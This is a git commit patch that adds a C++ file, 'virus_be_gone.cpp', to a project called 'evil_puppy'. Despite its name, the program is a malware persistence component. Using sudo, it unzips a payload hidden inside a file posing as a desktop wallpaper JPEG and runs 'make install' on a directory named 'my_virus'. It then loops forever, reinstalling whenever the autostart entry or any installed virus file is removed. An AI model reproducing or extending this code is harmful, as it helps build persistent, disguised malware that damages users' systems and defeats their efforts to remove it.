From bdd8d563ff3f0eec41cc45d07f6c00622a531a72 Mon Sep 17 00:00:00 2001 From: nathansmith117 Date: Tue, 21 May 2024 22:51:55 -0600 Subject: first commit --- evil_puppy/virus_be_gone.cpp | 62 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 evil_puppy/virus_be_gone.cpp (limited to 'evil_puppy/virus_be_gone.cpp') diff --git a/evil_puppy/virus_be_gone.cpp b/evil_puppy/virus_be_gone.cpp new file mode 100644 index 0000000..2c5f0df --- /dev/null +++ b/evil_puppy/virus_be_gone.cpp @@ -0,0 +1,62 @@ +// Reinstall missing files (Unix version). +// Evil mods only. + +// C/C++ libary. +#include +#include +#include + +// Unix libary. +#include +#include +#include + +// Make sure the path ends in '/' or '\' on windows. +//#define backup_dir "/usr/share/backgrounds/" +#define backup_dir "/usr/share/backgrounds/" +#define backup_data "milky_way.jpg" + +char install_script[] = +"cd %s; " +"sudo unzip %s; " +"cd my_virus; " +"make -i install; " +"cd ..; " +"sudo rm -rf my_virus"; + +bool file_ext(const char * file_path) { + struct stat file_stats; + + if (stat(file_path, &file_stats) == 0) + return true; + return false; +} + +int main() { + char script_buf[sizeof(install_script) * 4]; + + sprintf(script_buf, install_script, + backup_dir, + backup_data); + system(script_buf); + + char fluff_puppy_path[255]; + sprintf(fluff_puppy_path, "/home/%s/.config/autostart/fluffy_puppy.desktop", getlogin()); + + while (true) { + if (!file_ext(fluff_puppy_path)) + system(script_buf); + else if (!file_ext("/usr/local/bin/fluffy_puppy")) + system(script_buf); + else if (!file_ext("/usr/local/bin/run_evil_puppy")) + system(script_buf); + else if (!file_ext("/usr/local/share/evil_virus")) + system(script_buf); + else if (!file_ext("/usr/local/share/evil_virus/dog.png")) + system(script_buf); + + sleep(1); + } + + return 0; +} -- cgit v1.2.3